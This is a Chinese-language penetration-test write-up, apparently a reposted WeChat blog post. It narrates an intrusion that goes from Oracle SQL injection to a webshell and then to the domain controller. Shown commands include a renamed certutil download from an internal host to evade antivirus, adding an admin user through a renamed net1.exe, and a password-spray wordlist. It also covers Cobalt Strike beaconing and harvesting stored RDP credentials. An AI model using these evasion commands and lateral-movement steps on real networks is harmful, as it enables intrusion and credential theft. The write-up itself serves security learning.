记一次攻防从SQL注入到拿下域控

admin 2024年6月11日14:05:35评论3 views字数 2429阅读8分5秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,未经授权,严禁转载,如需转载,联系洪椒攻防实验室公众号。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x00 前言

    在某个平平无奇的下午,办公室吹着空调喝着同事请的大桶果茶,美美的感受下午茶的美好。

记一次攻防从SQL注入到拿下域控

    同事的一个消息打破了这个宁静的下午。

记一次攻防从SQL注入到拿下域控

    一个非常明显的Oracle的注入,第一想法肯定是注账号密码,话不多说,玩的就是真实,开干!!

0x01 进入正题

    同事说当前数据库有900张表,我先按照常规操作先跑一下表名,看用户名表会不会跑出来,花了四五分钟跑了大概50张表,有三个user表,其中一个成功跑出来md5加密的密码,我心想这么简单,这不是有手就行?你们没跑出来?记一次攻防从SQL注入到拿下域控    cmd5一解密我发现事情并不简单,因为密码是1,很明显不是真实密码(这里不得不说一句cmd5是YYDS,somd5连1都解不出来):

记一次攻防从SQL注入到拿下域控

记一次攻防从SQL注入到拿下域控    在跑到100张表的时候,我感觉不对劲了,难不成真有900张表?我跑一天也跑不出来啊?这时候想到了一个简单的办法,既然我们要找用户表,总有密码字段吧?

    直接利用sqlmap的--sql-shell功能查询所有包含PASSWORD字段的表名就好了(原谅大学学的SQL全还给老师了,直接问GPT)。

记一次攻防从SQL注入到拿下域控

    得到命令:

SELECT table_name FROM dba_tab_columns WHERE owner = 'DB1' AND column_name = 'PASSWORD'  ORDER BY table_name;
记一次攻防从SQL注入到拿下域控

    成功查询到所有包含密码字段的表,找到了用户表跑出了一部分用户的密码:

记一次攻防从SQL注入到拿下域控

    用户太多了,没有跑出全部的,但是这时候已经可以用跑出来的部分账号密码登陆系统,但是发现功能点比较少,文件上传也是使用的php的fckeditor,无法绕过上传:

记一次攻防从SQL注入到拿下域控

    但是查询通讯录知道了一个管理员用户是root和对应的邮箱,并非常规的[email protected]

记一次攻防从SQL注入到拿下域控

    使用sqlmap的--sql-shell功能直接查询DB1库中的[email protected]得到密码:

记一次攻防从SQL注入到拿下域控

    登陆管理员账号后发现系统功能里面有个系统命令功能可以使用beanshell执行系统命令。:

记一次攻防从SQL注入到拿下域控

    眼熟.jpg,这跟用友NC太像了。

记一次攻防从SQL注入到拿下域控

    至此已经拿下该服务器,下一步就是进入内网后渗透了。

0x02 踩坑

坑1

    在这个beanshell执行系统命令的时候,刚开始遇到了一些坑,跟用友NC bsh.servlet.BshServlet的远程代码执行一样的坑,执行一些命令时经常会报错。执行 whoami 正常:

记一次攻防从SQL注入到拿下域控

    dir、chdir等等都会报错,导致想看其他目录时都会报错。

记一次攻防从SQL注入到拿下域控

    但是通过调用系统本地cmd.exe进行命令执行就不会报错了:

记一次攻防从SQL注入到拿下域控

坑2

    在查看其他目录、文件含路径的时候,单斜杠无法解析,需要才能成功获取对应的文件。cmd.exe /c dir e:xxxddddbin报错

记一次攻防从SQL注入到拿下域控

cmd.exe /c dir e:\portal\portal422\bin正常输出

记一次攻防从SQL注入到拿下域控

坑3

    sql注入的时候已经知道了系统是Windows2008server和有火绒。到这其实就可以使用echo蚁剑马或者是certutil直接远程下载cs上线,certutil下载文件会被拦截,使用以下命令即可绕过限制进行文件下载:

copy c:windowssystem32certutil.exe a.exe
a.exe -urlcache -split -f  http://192.168.xx.xx:7000/gdut.txt

    下载哥斯拉马成功连接webshell,因为是2008的系统,直接抓明文密码,但是因为有火绒,无法直接抓。

记一次攻防从SQL注入到拿下域控

    前面已经知道了administrator权限,还是利用copy的方法进行绕过火绒添加用户:

copy c:windowssystem32net1.exe  aaa.txt
aaa.txt user admin Aa123456@@@ /add

    开启本地代理直接远程上去把火绒退掉。

记一次攻防从SQL注入到拿下域控

    再上线cs抓密码就可以了。

记一次攻防从SQL注入到拿下域控

0x03 内网遨游

    这时候已经拿到管理员的密码,以及知晓密码规则,直接简单构造密码字典对内网进行密码喷洒

domain@2019
domain@2020
domain@2021
domain@2022
domain@2023
domain@,2023
domain@,2022
domain@,2021
domain@,2020

    ................................ 好家伙,直接喷出来十多台服务器:

记一次攻防从SQL注入到拿下域控

    然后就是一堆常规操作,登服务器、翻浏览器、配置文件等等。 

    在所有东西翻完的时候,使用fscan不加参数全部梭哈的时候,惊喜的发现NetBios识别到了192.168.x.1/24段有域,但是这个段梭3389的时候没有梭出来成功的。

    这时候我对192.168.x.1/24单独进行了一次-m rdp -pwdf pwd.txt 果然梭出来了一台服务器的3389,并且是在域内的,最惊喜的这台服务器居然是Windows2008(你们懂的),成功上线cs

记一次攻防从SQL注入到拿下域控

    运行nslookup target.com得到了域控地址。这时候,经常打域的师傅们都知道,只要有一台机器在域内,这个域离拿下就成功一半了,直接查询RDP历史登陆凭据。

记一次攻防从SQL注入到拿下域控

    很惊喜的发现这台机器中保存了一个历史凭据,嘿嘿,会不会是域控的?

记一次攻防从SQL注入到拿下域控
记一次攻防从SQL注入到拿下域控

    果然是域控的密码,直接远程3389上去:

记一次攻防从SQL注入到拿下域控

    至此整个单位全部拿下,直接出局。

0x04 总结

    整个攻击过程总体来说不算太难,但是比较考验细心,一环扣一环,还算比较的顺利,完美拿下域控。

原文始发于微信公众号(洪椒攻防实验室):记一次攻防从SQL注入到拿下域控

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月11日14:05:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次攻防从SQL注入到拿下域控https://cn-sec.com/archives/2837189.html

发表评论

匿名网友 填写信息